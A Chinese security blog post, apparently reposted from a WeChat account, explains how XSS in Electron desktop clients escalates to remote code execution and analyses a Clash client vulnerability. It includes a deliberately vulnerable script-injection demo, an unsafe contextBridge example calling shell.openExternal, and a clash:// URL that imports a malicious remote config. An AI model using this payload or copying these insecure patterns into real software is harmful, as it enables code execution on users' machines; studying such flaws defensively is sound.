《聊一聊客户端XSS》

admin 2022年4月12日13:02:14评论7 views字数 2528阅读8分25秒阅读模式

《聊一聊客户端XSS》

现如今的客户端有许多采用html + js的形式,比较知名的框架有Chromium Embedded Framework (CEF)Electron,前段时间爆出的Clash客户端RCE,其客户端便是Electron实现的,本文也主要围绕Electron展开。

01

Electron简介

Electron集成了Chromium以及Nodejs,其开发也与前端开发类似。按照官方文档可以快速搭建一个Electron应用

https://www.electronjs.org/docs/latest/tutorial/quick-start

新建文件夹并初始化项目
mkdir electron-app && cd electron-appnpm init

新建app.js 并引入内容

const {app,BrowserWindow} = require('electron')

其中app 用来控制应用程序生命周期,BrowserWindow 用于创建和控制窗口。新建一个index.html,并使用BrowserWindow 进行加载

app.whenReady().then(()=>{    const win = new BrowserWindow({        width: 1040,        height: 699,        minWidth: 888,        minHeight: 555,        title: 'AntSword',        webPreferences: {            preload: path.join(__dirname,'preload.js')        }    });    win.loadFile('views/index.html')})

启动程序

《聊一聊客户端XSS》

webPreferences 可以为打开的页面设置一些特性,proload 表示加载一个预加载脚本,在主进程中,也就是入口文件所启动的进程,是无法操作渲染进程的DOM的,所以需要预加载脚本去连接两个进程。为了方便调试,我们可以加入一个开发者工具菜单

 const menu = new Menu()    menu.append(new MenuItem({        label: 'devtools',        submenu: [{            role:'devtools',            accelerator: process.platform === 'darwin' ? 'Alt+Cmd+I' : 'Alt+Shift+I',            click: () => {win.webContents.openDevTools()}        }]    }))    Menu.setApplicationMenu(menu)

其中 win.webContents.openDevTools() 表示打开开发者工具,这个时候我们可以使用快捷键或者是菜单按钮打开开发者工具

《聊一聊客户端XSS》

此外还可以设置客户端协议

app.setAsDefaultProtocolClient('meClient');

之后就可以通过meClient:的形式通过浏览器唤起APP

02

问题点

在创建窗口时,其属性webPreferences有许多值得在意的地方,比如说:nodeIntegration,这个属性默认关闭,而在它开启时表明客户端开启nodejs支持,我们在刚才创建的APPwebPreferences中修改其为true: nodeIntegration: true,在将上下文隔离contextIsolation关闭:contextIsolation:false之后打开控制台输入如下指令:

《聊一聊客户端XSS》

客户端执行了nodejs命令并最终执行系统命令,接下来把nodeIntegration修改为false,再次输入命令可以发现require已经不支持了

《聊一聊客户端XSS》

接下来人为制造一个XSS来实现从XSSRCEindex.html中加入:

<input type="input" id="xss" style="width: 1000px;height: 20px;" onclick="insertXss(this.id)"/>
function insertXss(x){    var xss = document.getElementById(x);    var script = document.createElement("script");    document.getElementsByTagName("body")[0].append(script);    script.textContent = xss.value;}

现在只需要在客户端输入payload后并单击输入框即可触发漏洞

《聊一聊客户端XSS》

上述情况可能比较少见,大部分时候是在contextIsolation开启的情况下,这种时候就需要去寻找由contextBridge暴露的函数中的危险函数,比如:

const { contextBridge } = require('electron')   contextBridge.exposeInMainWorld('nodeCrypto', {     sha256sum (data) {         shell.openExternal(data)     }})

接下来就可以使用nodeCrypto.sha256sum进行调用。

03

Clash漏洞分析

了解了以上知识后我们回过头来看看Clash,找到Clash的安装目录,将asar后缀文件进行解压
asar e app.asar /tmp/app

首先看其配置信息

《聊一聊客户端XSS》

nodeIntegration开启,contextIsolation关闭,nodeIntegrationInWorker笔者理解为不支持子页面中执行nodejswebSecurity开启后表示开启同源策略,默认开启,根据这些可以认为只要有xss就可以触发rce。根据漏洞触发位置处class名,定位到触发点

《聊一聊客户端XSS》

《聊一聊客户端XSS》

除了直接导入配置文件之外,还可以使用clash协议的形式从远程服务器导入恶意配置

clash://install-config?url=http%3A%2F%2F1.1.1.1%3A8888%2F1.txt&name=RCE

搜索app-open,找到协议处理逻辑

《聊一聊客户端XSS》

满足条件的请求会从远程下载文件回来并导入。

04

总结

客户端XSS相较于普通XSS更难被发现,但是其危害也是有目共睹的,在web越来越卷的现在,换个方向挖掘漏洞也是个不错的方法。

《聊一聊客户端XSS》

原文始发于微信公众号(RainSec):《聊一聊客户端XSS》

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月12日13:02:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   《聊一聊客户端XSS》https://cn-sec.com/archives/901805.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息